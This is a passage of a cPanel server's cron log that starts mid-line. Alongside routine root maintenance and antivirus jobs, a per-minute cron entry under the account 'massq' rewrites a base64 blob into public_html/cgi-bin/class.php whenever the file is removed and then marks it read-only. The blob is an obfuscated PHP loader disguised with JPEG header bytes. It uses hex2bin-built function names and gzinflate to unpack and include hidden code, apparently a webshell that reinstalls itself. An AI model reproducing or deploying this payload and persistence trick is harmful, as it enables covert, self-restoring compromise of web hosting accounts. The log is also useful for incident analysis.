C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:51:01 server CROND[31115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:52:01 server CROND[31501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:52:01 server CROND[31502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:52:01 server CROND[31503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:53:01 server CROND[31893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:53:01 server CROND[31894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:53:01 server CROND[31895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:54:01 server CROND[32271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:54:01 server CROND[32270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:54:01 server CROND[32277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:55:01 server CROND[32761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:55:01 server CROND[32763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:55:01 server CROND[32764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:55:01 server CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:55:01 server CROND[300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:55:01 server CROND[32765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:55:01 server CROND[32767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:56:01 server CROND[1252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:56:01 server CROND[1253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:56:01 server CROND[1254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:57:01 server CROND[1654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:57:01 server CROND[1655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:57:01 server CROND[1657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:57:01 server CROND[1656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:58:01 server CROND[2087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:58:01 server CROND[2086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:58:01 server CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:59:01 server CROND[2479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:59:01 server CROND[2480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:59:01 server CROND[2481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:00:01 server CROND[3003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:00:01 server CROND[3006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:00:01 server CROND[3008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:00:01 server CROND[3007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:00:01 server CROND[3010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:00:01 server CROND[3012]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 13:00:01 server CROND[3013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:00:01 server CROND[3014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:00:01 server CROND[3011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:01:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:01:01 server CROND[3859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:01:01 server CROND[3858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:01:01 server CROND[3860]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 13:01:01 server run-parts(/etc/cron.hourly)[3860]: starting 0anacron
Sep  8 13:01:01 server run-parts(/etc/cron.hourly)[3879]: finished 0anacron
Sep  8 13:02:01 server CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:02:01 server CROND[4247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:02:01 server CROND[4249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:03:01 server CROND[4639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:03:01 server CROND[4640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:03:01 server CROND[4643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
